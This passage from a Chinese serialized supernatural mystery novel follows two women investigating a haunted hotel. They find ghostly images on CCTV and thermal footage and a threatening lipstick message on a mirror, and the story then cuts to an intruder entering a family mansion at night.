“好的，我知道了，毕竟这是在我们酒店发生的事情，也算是我们酒店服务不周……这样吧，我请示一下顾经理，安排两个服务员到1808，帮宋小姐打理一下，看看她有没有其他的需要，我另外让厨房送一份安神的热牛奶上去，压压惊是最好不过的了。”
小赵的这番话，说得滴水不漏。
沈聆听着他的安排，感觉到这间世纪大酒店的服务贴心到令人惊讶的地步……就像是，之前也发生过类似的客人受到惊吓的情况，而男侍从小赵，只是依照之前的处理模式，熟练地处理客人遇到惊吓后应该采取的措施。
虽然这一点让沈聆有点儿疑惑，但毕竟现在宋明夷的情况不是很好，自己又要继续调查酒店的灵异事件，多几个人帮她照看宋明夷也是好的。
与其纠结那些细节，倒不如坦然接受。
这么想着，沈聆心下拿定了主意。
“我知道了，那就麻烦你安排两个人到1808，帮明夷换洗一下身上的脏衣服，另外，她要的那些东西……”
“水果芭菲和戚风蛋糕都已经准备好了，待会儿也和热牛奶一并送到您的房间。”
“好的。我先送她上去，等你们的服务员来了之后，小赵，我需要麻烦你一件事。”
“您说，为客人服务是我的荣幸。”小赵脸上依旧带着十分亲切的微笑。
“我想……看看电梯的监控录像。”
“那些刚才不是已经拷贝给您了吗？”
“不是这些，是刚才我和宋明夷在电梯里的录像。”沈聆说着，抬起头看向了电梯间左上角的监控摄像头，“我想你们应该不会拒绝吧？毕竟是你们顾经理请我们来调查酒店灵异事件，现在灵异事件真的发生了，至于如何调查，需要酒店配合我们。”
“您放心吧，顾经理之前已经交代过我了，让我大力协助您二位的调查。”
“好，那就麻烦你了。”
……
经过一番折腾，沈聆和小赵先将宋明夷送回了1808号房间。
在推开房间的时候，沈聆感觉到房间里的气温似乎比走廊上的更低一点。
因为没有插上房卡，刚开门的时候房间黑漆漆的，走廊中的灯光在门口拉长，将他们的影子投在房间的地毯上，房间里很安静，除了进入房间感觉到一股不自然的寒意之外，并没有其他任何可疑之处。
沈聆和小赵将宋明夷搀扶到沙发边坐下，宋明夷依旧在喃喃自语，她看起来就像是中邪了一样，经过刚才的电梯险情，她似乎总是在出神地看着某个地方，视线总是带着几分无
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法聚焦地游离。
“不要坠落……不要……”
很快，小赵安排的服务员来到了房间，这是两个穿着服务员衣服的年轻女性，小赵嘱咐了她们几句后，她们点了点头，将宋明夷带向了卫生间。
宋明夷也没有反抗，像一个提线木偶一样，跟着两位服务员走进了卫生间，开始洗漱。
她身上的味道很明显是……
小赵也意识到了这一点，但他很有礼貌地假装不知道这一切，给这位女顾客留了一分最后的颜面。
沈聆叹了口气，心中也有几分庆幸——好在刚才电梯及时停住了，否则后果不堪设想，从18楼的高度坠落，她和宋明夷必死无疑。虽然宋明夷像是被吓傻了一样，但她现在也不必因为自己的丑事被不熟悉的男侍从看见而感到难看了。
希望明天早上她一觉醒来，能恢复正常，把这一切都当做一场噩梦。
在酒店发生的噩梦。
“我们去看看电梯间的录像带吧。”沈聆看向了小赵，“我想看看刚才我和宋明夷看到的那个男人到底是不是人……如果可以拿到他的影像，我会叫我公安局的朋友帮忙查一下这个男人的身份，他和顾倩倩的关系匪浅，要查顾倩倩的死因，这男人必然是关键一环，而且，他也算是你们酒店发生的灵异事件之一了，不得不说，你们酒店还真的不太干净啊……”
“可以的。”小赵点了点头，表情十分平静，对顾客被鬼魂吓到的事情已经见怪不怪了。
沈聆跟着小赵往一楼的安保控制室去了。
在控制室里，工作人员按照沈聆的要求，调取了方才一号电梯里的监控录像。
电梯的监控录像只有画面，没有声音。
在监控录像上，并没有看到电梯里有什么男性服务员。
监控画面里，从头到尾都只有沈聆和宋明夷两人。
只见沈聆和宋明夷一前一后进了电梯，随后，她二人在电梯的后侧方站定。
而电梯不知道为什么18楼的按钮突然亮了起来，在电梯门缓缓关上之后，电梯带着沈聆和宋明夷往18楼去。
在这个过程中，沈聆和宋明夷始终看着电梯左侧方，她们的嘴巴一张一合，似乎在跟谁对话，但在录像里，那个位置明明没有人！
两个女孩子就这么对着空气说话，不一会儿，电梯到了18楼，可两个女孩子依旧站在电梯里没有出去，在监控录像里，她们的表情有了明显的变化，开始变得不自然、疑惑，眼神中甚至……带着几分惊恐。
电梯停在了18楼，电梯门一开、一合，二人始终没有出去。
一直到突然电梯里的灯闪烁了一下，整个电梯剧烈摇晃了起来，沈聆和宋明夷本能地蹲下身抓住了电梯的扶手，就在这时，监控画面突然黑了，只见监控画面闪烁了一下，随后便没有了信号。
那是因为，电梯开始下坠了。
这一幕，太诡异了。
沈聆暗暗想到。
在电梯里的诡异举动……
这不是顾倩倩生前曾经发生过的吗？
186. 奇艺的画面
这间酒店的情况看起来确实不太对劲。
先是一个月前有女孩子莫名其妙地在酒店自杀身亡，并且自杀之前留下了诡异的录像带。
随后，就是酒店里出现了号称是她前男友的很大可能是鬼的存在。
那人（鬼）徘徊在世纪大酒店里，不知道是否是为了寻找顾倩倩的存在，他久久不愿意离去，至少从刚才对话的信息来看，他对顾倩倩十分执着，甚至于到了偏执的程度。
这样的人（鬼），哪怕是在死后都不得安生。
并且从刚才沈聆和宋明夷的遭遇来看，顾倩倩的前男友，是具有一定的危险性的，如果刚才遇到他的不是沈聆和宋明夷，而是其他无辜的旅客，估计就已经在电梯里丧命。
——他能控制电梯的运行情况吗？
——还是说，他是依附于电梯存在的呢？
沈聆站在大屏幕前，看着大屏幕上回放的影像，暗暗揣测。
在电梯录像中，她和宋明夷朝着一个没有人的方向在说话，甚至露出了惊恐慌张的表情，这一系列表现似乎和顾倩倩死亡前在电梯里诡异的举动如出一辙。
——难道说……当时顾倩倩也是在电梯里遇到了自己的前男友？
——还是说，从那个时候开始，他就已经死了？
——他阴魂不散，纠缠着顾倩倩，让顾倩倩绝望自杀？
——可是，如果真是这样的话，为什么刚才在电梯里的时候，他还口口声声地说“想要找到顾倩倩”呢？
……
谜团就像是藏在海平面下的冰块，越是考虑，越是纠结，那么发现的疑点就越多。
沈聆感觉心头像是团着一团乱麻，无论如何梳理，都无法弄清背后的真相。
她原以为世纪大酒店的诡异只是某些捕风捉影的灵异现象，但是现在看来，酒店内发生的凶杀案或许才是这“灵异旋涡”的核心。
顾倩倩因何而死？
顾倩倩的死，究竟还牵涉到谁？
如果要弄清楚世纪大酒店闹鬼的事情，那么这两个问题必然需要解决。
沈聆这么想着，看向了站在身旁的男侍从小赵，从头到尾，小赵表现出的都是十分温和的态度，无论沈聆要调查什么，他都十分配合沈聆，这似乎是沈经理交代他的工作任务。
“好的，麻烦你陪我来看这个监控画面，我大概了解了酒店里现在发生了什么事情。”
“还需要看什么吗？我权限之内的话，我可以帮您。”
“目前是不需要了，刚才你已经拷贝给我顾倩倩有关的视频录像了，我需要回去研究一下……另外，关于顾倩倩的前男友，你们知道什么信息吗？”
“目前是没有，因为顾倩倩入住酒店的时候是自己一个人，并且她的行动时间都是晚入夜，目击者较少，就算是警方调查后也并没有查到酒店内有其他与顾倩倩关联的人出入，我们也从来没有听到过关于顾倩倩其他有关人员的信息。”
“那酒店的电梯呢？”沈聆换了一种问法，“其他旅客在电梯里有没有遇到过类似的奇怪的事情，比如遇到一个大概二十出头的很瘦的年轻男人，但是那个人没有影子、没有镜像，而且说起话来也根本不像是正常人。”
“这倒是没有。”小赵依旧保持着礼貌的微笑。
看着小赵的微笑，沈聆心下疑惑。
如果是普通人被询问到此类情况，一般都会说自己不清楚、需要问一问前台之类的，又或者，需要在脑海中回想一遍这个事情……
但是眼前的这个小赵，毫不犹豫地就给出了答案。
这不符合一般人的思维逻辑。
要么，他接受了某人的交代，无论发生了什么，对外都声称平安无事。
要么，他的确就是接触过这样的事情，只不过出于私人原因，并不想告诉沈聆。
无论是哪一种情况，沈聆都只直觉地感觉到眼前的小赵是有事情在隐瞒着自己。
在他们聊天的时候，屏幕上的视频恰好播放到了她们在电梯里对着空气说话的那一幕，突然，沈聆注意到了什么，忙叫住了技术人员。
“停一下，视频暂停一下。”
坐在电脑旁边的技术人员应声点了点鼠标，暂停了电脑中播放的录像画面。
“可以放大这里吗？”沈聆说着，指向了视频中的某块画面。
技术人员依照沈聆的说法，放大了视频左下角的一块区域。
这块区域被放大后比较模糊，但好在世纪酒店的监控摄像头是进口的设备，在画面被放大后倒也没有失真，电脑屏幕转了一会儿后，便清晰地展现了沈聆想放大的画面。
——画面定格在了电梯的左下角，这一小块区域空无一人，但令人毛骨悚然的是，在电梯那光滑如镜的玻璃上，竟清晰地倒映出了一道模糊不清的影子。
那道影子显得有些瘦长，仿佛是被某种诡异力量拉伸过一般，他的面色苍白得如同一张白纸，没有丝毫血色，给人一种阴森森的感觉。
随着镜头逐渐拉近并放大，那道影子开始变得越发扭曲和歪斜起来，然而即便如此，人们依然能够从其大致的轮廓上分辨出，这是一个留着平头的男人身影。
只是由于影子太过模糊，无法看清这个男人具体的面容特征以及表情神态。
“奇怪……我记得当时我在电梯的镜子里并没有看到……”
沈聆感觉到有点儿头痛，不过这件事情仔细一想似乎也是可以理解的，毕竟自己只是肉眼凡胎，这个世界上有太多自己看不到的东西，但并不代表着不存在，或许真的和宋明夷说的一样，用某些灵敏的机器是可以捕捉到蛛丝马迹的。
沈聆掏出手机，拍了一下视频中的那个男人模糊的面孔。
她打算回头让林凌帮忙查一下顾倩倩的案子，毕竟这个自杀事件是发生在陵川市的，就算不是林凌手头办理的案子，他是公安局的内部人员，说不定也能查到这个案子的卷宗，如果能看到当时警方的调查情况，相信对解决眼前的困境有所帮助。
目前似乎已经无法调查到其他更详细的信息了。
沈聆这么想着，看向了小赵：“……那么，我先回去1808号房了，明
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夷还在楼上，如果有其他需要帮助的，我再跟你说。”
“好的，有事情可以随时找我。”
“好。”
就这样，沈聆告别了小赵，自己往1808号房而去。
这一次，在电梯前等待她的，便是方才小赵身后的女服务员。
看见沈聆迎面走来，她微微一笑，礼貌地打开了电梯。
两人相对无话，电梯朝着18楼的方向而去。
沈聆站在电梯里，看着那女服务员的背影，便说道：“请问，您在这里上班很久了吗？”
“差不多一年多吧。”
“那……在这个过程中有遇到一个高高瘦瘦的年轻人吗？大概一米七出头的样子，然后很没有精气神……”
“你是说您刚才遇到的那个……”
“对。”
“这个……其实我也曾经远远看到过那个影子……”女服务员回过头看向了沈聆，“我感觉老有一个奇怪的影子在18楼徘徊，但是我不太确定，每次我走近的时候，那个影子都消失了，我还以为是我自己的心理作用……因为去18楼的客人并不多，加上顾经理的吩咐，近期并没有把18楼的客房预定出去，但是我还是曾经看到过那个奇怪的影子，我想，那就是你们刚才说的奇怪的男人。”
“他只是出现在18楼吗？”
“不，不只是在18楼。”女服务员坦言道，“我们客房部的同事也曾经遇到过他，在其他楼层，只不过，在其他楼层的时候，是在房间里遇到过类似的事情，从他们对那个人的描述来看，应该和你们说的是同一种……东西。”
“那18楼呢，单独18楼就只在走廊尽头遇到过？”
“对的，18楼比较特殊，只在走廊和电梯里遇到过。”
“我知道了。”
沈聆点了点头，她用手机编辑了一条短信，将顾倩倩的是乞丐那大致说了下，请林凌帮忙看看能不能查到跟顾倩倩有关的事情，另外，她将刚才拍到的照片也发给了林凌，请他了解一下顾倩倩的前男友里会不会有这个人。
做完这一切后，电梯也来到了18楼。
“叮咚。”
当电梯门缓缓地向两侧开启时，沈聆的目光不由自主地投向了前方。
她看到了一条长长的、空荡荡的走廊展现在眼前，仿佛是通往未知世界的通道一般，整个走廊内寂静无声，甚至连一丝细微的脚步声或呼吸声都听不到，让人不禁感到有些毛骨悚然。
地面上铺着一层暗红色的厚实地毯，那颜色如同凝固的鲜血，给人一种沉重而压抑的感觉。每走一步，脚下都会传来轻微的凹陷和反弹，仿佛这地毯有着自己的生命，正默默地吞噬着人们的足迹。
走廊两旁的墙纸上印着淡淡的鹅黄色图案，但由于光线昏暗，这些图案看起来并不清晰，反而更像是一些模糊不清的阴影。
墙壁上没有窗户，使得这条走廊宛如一个封闭的空间，与外界完全隔绝开来。这种没有自然采光的环境让沈聆心中升起一股莫名的不安，仿佛有什么东西正在黑暗中窥视着她。
187. 0616
在沈聆回到1808号房的时候，宋明夷正躺在床上，包着被子。
两个服务员刚整理好她换下来的衣服，将衣服放进了洗衣袋里，准备带去酒店的洗衣房清洗干净。
“您好，那我们准备先走了。”
“这位小姐已经洗好头发、洗好澡了，但是她看起来精神还是有点儿……我们给她喝了点热水，让她先躺床上了，可能睡一觉会好一点。”
两位服务员大姐客气向沈聆说道。
“好的，麻烦你们了。”
沈聆漫瞥了一眼那张床铺，只见宋明夷整个人都蜷缩在了被子里面，仿佛一只受惊的小动物般瑟瑟发抖着，那床原本平整的被子此刻已经被她紧紧地包裹住全身，只露出一小截头发在外面，远远看去，竟好似一个因为寒冷而拼命取暖的病人一般。
这被子像是难得的能够给她安全感的东西，她躲在里面，情绪也能缓和一点。
“那我们先走了，如果您有需要的话再叫客房服务。”
“好的好的，慢走哈。”
沈聆送走了两位服务员阿姨，不知道为什么，她总觉得那两位阿姨很不想待在这个房间里，似乎多停留一分钟都会染上脏东西。
在打开房门之后，她们头也不回地离开了，甚至于脚步都加急了不少。
“……这是怎么了？”
沈聆挠了挠头。
她也没多想，毕竟这间房间臭名昭著，一个月前更是有人在这里自杀，年长一点的人比较封建迷信也是有的。
“咔哒。”
关起门回到了房间里，沈聆看向了依旧缩在被子里的宋明夷，她缓步朝宋明夷走去。
宋明夷将自己严严实实地藏在了这厚厚的被窝之中，似乎想要与外界完全隔绝开来。被子随着他身体的动作形成了一座小小的“山包”，微微起伏着，让人不禁心生好奇，究竟是什么让这个平日里大大咧咧的人如此害怕或者不安呢？
“明夷？你还好吗？”沈聆拉了拉宋明夷的被子，“你不要把自己裹得这么严实，待会儿闷坏了……”
“不要管我！”
“明夷？”
“先不要管我，拜托了……”
宋明夷整个人都蜷缩在厚厚的棉被之中，只露出一个脑袋，她的声音就这般闷闷地从被子里面缓缓传了出来，那声音仿佛被什么东西给阻隔住了一般，显得有些模糊不清，让人难以听清她说的每一个字，但即便如此，还是能够感觉到她话语中的那份低落与消沉。
“明夷，发生什么事情了？”
“……没什么，给我点时间，我安静一下就好。”
此刻的宋明夷，就如同一只受伤的小兽，躲在自己的洞穴里舔舐着伤口。
她的情绪似乎已经跌入到了无底的深渊之中，无法自拔，而她说话时所流露出的那种冷漠和决绝，更是让人心疼不已，仿佛她已经彻底放弃了希望，哪怕有人向她伸出援助之手，她也不愿意去抓住，只想就这样独自沉沦下去。
“你是害怕那个电梯服务员吗？你放心，他现在不在这里……”
“不，他一直都在。”宋明夷突然不明所以地说了一句。
“什么？”
“那个男的……从来没有离开过。”宋明夷的被子打开了一个小口子，她小心翼翼地从被子里往外看，“那个男人，一直都在18楼。”
“在……18楼？”
“嗯，我能感觉到，那个男的，不是活人。”宋明夷从被子里往外看着，那双小眼睛巴扎巴扎地看着沈聆，“虽然我不知道他为什么一直在这里，但是那个男的很危险……他能操控电梯，说不定还会造成其他看起来是‘事故’的‘事故’。”
宋明夷的这番话，说得别有深意。
平日里大大咧咧的她，现在像是换了人一样。
虽然她的声音有点儿颤抖，暴露了她内心的不安，但这番话，沈聆还是听进去了。
“……嗯，我也感觉这酒店不太对劲。”
沈聆说着，起身到房门口，将房门锁了起来，并加上了锁门的链条，保证从外面无法打开房间。
她眼角余光看了一眼房间的空调系统，现在明明没有开空调，但房间里的气温明显比走廊要更低许多，头顶的出风口明明没有在吹风，可奇怪的是，身处房间里的时候，总感觉会有细微的风吹过脸颊。
就像是……
有什么东西从身旁过去了一样。
“明夷，我感觉这个酒店似乎有点儿……我想调查清楚顾倩倩的死因，我怀疑她的死亡不是自杀这么简单。”沈聆回到了宋明夷身边，发现她又重新把自己包裹起来了。
沈聆叹了口气，她的视线落到房间里那些在她们出门前就支起来的仪器设备上。
那些仪器设备是宋明夷采购，也是她组装的，沈聆实在是不知道要怎么看，但是她总感觉或许这些东西可以捕捉到某些人类察觉不到的动静。
毕竟，她才从一楼的控制室回来。
亲眼看到了机器拍到了人眼看不到的残影。
或许这些科学设备对她们这些探索非自然现象的人来说，真的会有所帮助。
“明夷，我需要你的帮助，我想看看这个房间里……在我们不在的时候有没有出现过奇怪的现象。”
沈聆说着，右手朝着热水壶伸去。
就在这时，她的右手突兀地停在半空。
她突然发现，茶几上原本四个倒扣的水杯，不知道为什么其中一个杯口朝上放着了。
“……明夷，你回来之后那两个服务员阿姨有给你倒水喝吗？”
“没有，她们都没有烧水。”
“我记得我们离开房间之前也没有烧水喝水……”沈聆看着那个杯口朝上的杯子，微微一笑，“有点意思，这就已经出现了吗？是因为你还有未说完的话，还是说……有什么你想告诉我的事情吗？顾倩倩。”
沈聆抬起头看向了卫生间的方向。
卫生间的灯开着，毛玻璃上依稀有一个模糊的影子。
但在沈聆想要看清楚那个影子的时候，影子却一闪而过，消失了。
就像是……对方也察觉到了沈聆的视线，赶忙将自己藏了起来。
“……所有设备仪器都连接着电脑，可以直
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接在笔记本电脑上看到监测情况。”
宋明夷的声音闷闷地从被子里传来。
“直接打开电脑就可以了吗？”
“嗯，我这个电脑是专门用来剪辑视频、搜集灵异数据的，你把电脑打开，桌面上就有相关设备的软件了，有的是热成像监测软件，有的是录像存档，有的是动态捕捉软件……”
“那我看看。”
沈聆说着，打开了宋明夷的电脑。
“密码？”
“0616。”
沈聆按照宋明夷说的数字，输入后果然解锁了电脑。
“这是什么特殊的数字吗？是你的生日吗？”
沈聆的视线落在眼前的电脑屏幕上，电脑的荧光略微照亮了她的脸庞，随口问了一句。
等了大约五六秒钟，宋明夷沉声回答：“……是我妈妈的忌日，她是6月16日跳楼自杀的。”
沈聆愣了一下，转头看向宋明夷：“明夷……”
“没事，你不用安慰我，这些都是十年前的事情了，我早就已经忘得差不多了。”
宋明夷掀开了自己的被子，像是掀开了自己的保护层一样，她慢慢地直起身来，坐在床边，动作显得有些僵硬和迟缓。
此刻，沈聆看见宋明夷那张原本清丽的脸庞上呈现出一种极为复杂的神情。
她微微仰着头，嘴角努力地上扬着，似乎想要展现给旁人一个释然、洒脱的表情，然而，无论她如何用力去控制面部肌肉，那眼角眉梢间流露出的悲伤却是怎么也遮掩不住的。
那两道细长的眉毛也紧紧地皱在一起，宛如两弯被愁绪压弯的新月。
“……恕我冒昧，我刚才听见你说……不想跳楼什么的……是不是和你妈妈出事有关系？”
“那一年，我还小，我爸爸出轨了，要和我妈离婚，我妈拉着我要跳楼自杀，没想到假戏真做，她真的从楼上摔下去，死掉了，那天就是6月16日。”
“她拉着你……”
“嗯，我不知道她那个时候是想扮残威胁我爸，还是真的不想活了，她拉着我站在天台边缘，口口声声说要和我一起死……”宋明夷叹了口气，“她带着我掉了下去，只不过，我掉到了消防员的充气垫上，但是她就没那么幸运了，当场摔死。在那不久，我爸再婚了，和小三在一起，我不想继续住在那个家里，就自己搬出来了……”
“所以你刚才……”
“嗯，刚才电梯掉下去的时候，那种失重感，让我想起了过去的事情……对不起啊，给你添麻烦了。”
宋明夷像是一只被遗弃的小猫，可怜兮兮地看着沈聆。
尽管她用尽量平静的语气述说过去的那些事情，但那张年轻的脸庞上依旧可以看出她内心积压多年的悲伤。
“不会，从来没有。”沈聆忙坐到宋明夷身边，拢了拢她的被子，让被子更多地环绕在宋明夷身边，“以后有事情可以跟我说，都没关系，你现在有我们这些朋友了，不是自己一个人，我们也可以帮你分担的。”
宋明夷沉默了半晌，露出了一个释然的笑容。
“……谢谢你。”
188. 奇怪的留言
在沈聆打开了笔记本电脑后，裹着被子的宋明夷也凑了过来。
“这个，先看这个红外线热成像的记录情况……”宋明夷指了指平板电脑的屏幕，在屏幕的左上角，有一个类似于红色的放射线一样的图标。
“红外线热成像……是看我们离开的这段时间内房间温度的变化情况吗？”
“对。”宋明夷点了点头，用十分专业的语气介绍道，“一般来说，生物的存在、活动都会引起温度的改变，哪怕是变温度动物，在活动的时候，身上的温度情况和环境的温度也会有席位的差异，而这个装置软件就是用来捕捉一定空间里温度变化情况的。”
宋明夷说着，指了指身后固定在墙上的探头。
沈聆顺着她所指着的方向看去，果然看到一个黑色的类似于监控摄像头的东西，那个东西固定在三脚架上，靠着墙边放置，将整个镜头对准了1808号房的床铺、茶几和卫生间，能够最大程度捕捉到空间温度的波动。
沈聆双击鼠标点开了这个软件，在软件加载了一段时间后，出现了一条波图。
这波图横轴是时间，纵轴是温度，这图像上大部分线条都是平直的，但在下午14：00的时候略微有部分波动。
“快看看这个……”宋明夷一脸严肃地说道，并伸出手指向了波图下方的热成像录像回放按钮。
沈聆根据宋明夷所说的，轻轻一点鼠标，屏幕上瞬间弹出了一段记录着过去几个小时里房间内情况的热成像录像。
“好家伙，这东西还有录像的功能！”
“那当然了，都是我真金白银买回来的东西，可不得派上点用处才行？”
“来看看都捕捉到了啥奇怪的东西……”沈聆说着，点击了一下鼠标，拉动了视频播放的进度条，从头开始播放这个房间的热成像录像带。
随着录像的播放，可以清晰地看到整个房间的构架呈现在眼前。
然而，由于房间中的大部分物品都属于无生命的物体，所以整个空间呈现出一种深邃的深蓝色调。
“我之前在电视节目上看到过类似的东西呢，如果有恒温生物进入这个区域，那么它们在画面上将会显示成红色或者橙色。”宋明夷一边解释着，一边紧盯着屏幕。
“我感觉我们可以开个倍速。”沈聆提议。
“嗯，那就4倍速播放一下试试。”宋明夷点头表示同意。
沈聆点了点相应的按钮，原本正常速度的录像立刻以4倍的速度快速播放起来。
大多数时候，画面中的温度并没有明显的变化和波动，但就在下午14：00的那一刻，突然之间，仿佛有什么东西打破了这种平静。
仔细看去，只见画面上隐约浮现出一个模糊不清的轮廓！
它如同鬼魅一般，一闪即逝，若不是特别留意观察，很容易让人误以为只是一阵轻风拂过所造成的视觉错觉罢了。
“是那里！放慢一下播放速度。”
“好。”
沈聆深吸一口气，紧紧地盯着屏幕，然后小心翼翼地点开了热成像的录像，并将播放速度调整为0.5倍速。
沈聆和宋明夷都紧紧盯着屏幕，房间里很安静，她们屏住呼吸看着屏幕，生怕错过任何一个小细节。
录像是0.5倍速播放的，可以看到，在画面中，有一个模糊不清的影子随着时间的推移悄然浮现，这个影子看上去若隐若现，仿佛随时都会消失一般，但是没有持续多久，大概五六分钟，便消失了，而这模糊的影子出现的时间，恰好就是14：00。
沈聆皱起眉头点了下暂停，仔细观察着这个影子：从外形上来看，它显然不像是任何已知的生物形态，更像是某种气体，只是轮廓和高度来看，和人差不多。
难道……真的如之前所猜测的那样，是某种超自然的存在吗？
更令人感到惊奇的是，通过热成像技术可以发现，这个影子所散发出的热量极其微弱，与周围环境相比，其温度竟然要更低一些！
在热成像的视频上，这个物体（或许应该称之为灵体）的边缘显得十分
模糊，难以确切分辨出具体轮廓，而其所呈现出来的颜色，则是一种深邃的蓝色，接近黑色。通常情况下，只有当温度近乎于零度时，才会在热成像仪上显示出如此之低的温度。
“……太诡异了。”
沈聆和宋明夷不约而同地看向了卫生间的门口，脑海中浮现出某个看不见、但是能感觉到的灵体在那个地方徘徊，若是当时有人靠近，一定可以感觉到卫生间门口那阴森森的寒意。
寒意……
想到这里，沈聆突然想到了什么，她看向了宋明夷。
“明夷，你有没有感觉到每次我们回到这个房间的时候，都会感觉莫名其妙的冷一下？”
“你的意思是……”
“我们的房间，入门之后就是卫生间的门口，我每次回到这里的时候都感觉到一阵寒意……就像是，有什么东西一直站在门口等我们一样。”
沈聆的声音很轻，在她说这些话的时候，那阴森森的口吻听起来更让人毛骨悚然了几分。
宋明夷不由得裹住了自己的被子，将自己都藏在了厚厚的被子里，她感觉到一阵冰冷的恐惧爬上了自己的心头，像是有一双无形的手揉捏着自己脆弱地跳动着的心脏，但眼睛还是下意识地看向了房门的方向。
“……的确，我也有这样的感觉。”
“会是……顾倩倩吗？”沈聆提出了心底的疑问。
“说不准，但是她就是在这个房间里自杀的，在死后徘徊在这里似乎也合理。”
“但如果……在她死之前，这个房间就已经有这些奇怪的现象发生了呢？”沈聆转念一想，“顾经理给我们的笔记本上，最早出现的灵异事件是一年前，远远早于顾倩倩自杀的时间，也就是说，在顾倩倩死亡之前，这个酒店就已经开始闹鬼了，顾倩倩，或许只是其中一环，而并不是其中怨念最大的鬼……”
“你是说……或许在顾倩倩住进来之前，她都没想着
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要自杀？是这个酒店、这个房间里奇怪的磁场，让她开始出现幻觉、从而才有了一系列诡异的举动？”
“我只是提出这个可能，但是具体的真相我们并不知道。”沈聆沉声说道，“但是就目前来看，这个地方确实很不对劲，如果心智比较不健全的人住进来，就会变得疑神疑鬼。”
“可是顾倩倩才住了三天，这就死了？那我们……”
“咔哒。”
就在这时，卫生间里再一次传来了奇怪的声音。
那声音就像是什么东西掉落在水池里的响声，不是很大，但是却很明显，让人难以忽视。
静谧的房间里，这声音十分突兀。
沈聆和宋明夷表情复杂地对视了一眼，沈聆起身朝着卫生间走去。
她想看看，究竟还有什么花样。
“小聆聆，你……你带着点防身的东西去……拿着这个茶杯吧！”
“你脑子坏掉啦，你用茶杯打鬼？你觉得有用吗？”沈聆面不改色地看着卫生间，继续朝着那亮着灯的卫生间走去。
她印象中……
自己刚才在回到房间的时候，卫生间的灯是关着的……
但是不知道什么时候，灯又被打开了。
是在什么时候？
是在她们专心看视频的时候吗？
还是更早之前？
如果真的有什么不干净的东西，那它搞出这一系列的动静是为了什么？
为了吓走她们？
还是想把她们变得和顾倩倩一样神志不清？
之前就有听过某些唤作“自杀圣地”的地方，因为死者太多，因此有许多阴魂徘徊在死后的地方，难道这个酒店也是这样？在顾倩倩之前还有没有其他死者？是自杀还是他杀？为什么经理刚才没有说这些事情呢？
……
各杂念一时间涌上心头，她稍微按下内心的困惑，来到了卫生间门口。
“刷拉……”
走近了，便能听到细微的流水声。
“刷——”
沈聆以迅雷不及掩耳之势猛地将其一把拉开。
当她抬起眼眸时，首先映入眼帘的便是卫生间水池上静静躺着的一支口红！
这支口红显然已经被使用过，大约还剩下一半的膏体，而且其中一截已经旋转出来，孤零零地暴露在外。
更糟糕的是，水龙头竟然没有关，水哗哗啦啦地从水龙头里倾泻而出，无情地冲击着那支可怜的口红，水流渐渐漫过它，带走了些许鲜艳的红色。
而就在正对着卫生间的那面镜子上，赫然出现了几个用口红书写而成的、触目惊心的大字——“立即自杀”！
这四个字宛如一道晴天霹雳，狠狠地击中了沈聆的心脏，让她瞬间呆立当场，大脑一片空白。
“小……小聆聆，卫生间里有什么奇怪的东西吗？”
“……还真有，有人给我们留言了。”
“什么？”
“要我们……立即自杀。”
189. 安保头子
西乡村。
入夜。
凉风徐徐地吹拂着，轻柔地穿过茂密的树林和繁茂的草丛，带起一阵轻微而又连绵不绝的沙沙声。
这夜风仿佛化作一柄锋利无比的利刃，悄无声息地从人们的耳畔疾驰而过，它不仅无情地带走了身体周围仅存的些许温度，更在瞬间送来阵阵令人毛骨悚然、直透骨髓的刺骨寒意。
“沙拉……”
就在这样一个万籁俱寂的深夜里，一道矫健敏捷的身影如同鬼魅一般轻盈地跃上了屋顶。
他身着一袭漆黑如墨的夜行衣，整个人宛如与这片深沉的夜色融为一体，远远望去，他那黑色的身影在暗夜的映衬下几乎难以分辨，就好似是从黑暗深渊中悄然爬出的幽灵。
这个神秘人行动迅速且毫无声息，只见他身形一闪，便已巧妙地避开了梁家祖宅那高耸的黑色屋檐，同时，也绕开了屋檐下的监控摄像头。
接着，他又如同一道闪电般绕开了洁白如雪的墙角，动作行云流水，没有丝毫拖泥带水之感，眨眼间，他便像一缕轻烟似的一溜烟儿来到了梁家祖宅的后门处。
此时，两个后厨的大婶正拿着洗菜盆子推门而出——
“老爷好久没有回来了，没想到今天突然回来了。”
“多呀，自从太夫人去世之后，他这还是第一次回来老宅里，我还以为他永远不回来了呢。”
“之前老太爷活着的时候，老爷和他的关系就很不好，虽然祖宅是老爷长大的地方，但是老太爷对太夫人是什么样子的我们也都心知肚明，做人儿女从小看到自己娘被爹这样对待，怎么可能心里好过。”
“对呀，自从老爷接管了梁家之后，就更少回来了，听说他们父子俩的感情一直都不太好，估计这次回来也是为了太夫人的事情。”
“太夫人能有什么事情？现在出殡的事情也忙完了，现在就等头七了，不过按照老爷的性格，我看他应该也要大办一场，毕竟老爷是十里八乡里出了名的大孝子，前几天的葬礼就已经大班特办了，头七肯定也要讲排面……毕竟梁家是这么大一个大家族，这点面子都不做的话，传出去岂不是任人笑话？”
“我的老天爷，花了这么多钱，说到底还是为了梁家的面子？”
“那当然了，梁家这么多年的名声在外，还有老爷的名声，太夫人这次死了，正好全了他孝顺的名儿。”
“那太夫人也太惨了，活着的时候，萧家被梁家吃绝户了，死了还要被用来当做梁家的门面。”
“谁说不是呢，女人不就是这样？未出阁的时候听爹的，嫁人了听丈夫的，老了听儿子的……”
两个老婆婆说着，拿着洗菜的盆子来到了后门中庭，倒掉了盆中洗菜的污水。
正在她们絮絮叨叨的时候，一个矫健的影子闪入了后门。
是吴妄。
他在外面冷眼瞅了半晌，眼见着随着梁业进入了祖宅后，后厨的部分开了灯，并有生火做饭的模样，他凑近了后厨的方向，便嗅到了那做饭的油烟味，知道梁业应该是还没有吃晚饭，秘书忙吩咐了后厨准备饭菜。
这是他的一个机会。
是他能够进入祖宅调查的一个机会。
他身形一闪，便没入了那片黑暗之中。
与其说是后门，倒不如说这是一个偏门。
从偏门进来，那便是梁家祖宅的厨房。
屋内弥漫着一股陈旧的气息，混合着食物残留的味道，有些刺鼻。
这似乎是储存食物的地方，迎头便是许多横向排放的大柜子，上面分门别类放着许多瓜果，另外在左侧还有许多大冰柜，应该是储存肉类的容器。
在隔壁间，响动着切菜洗菜的声音，并着些炒菜的烟火气传来，偶尔夹杂着人声，应该是后厨的佣人们正在商量菜色。
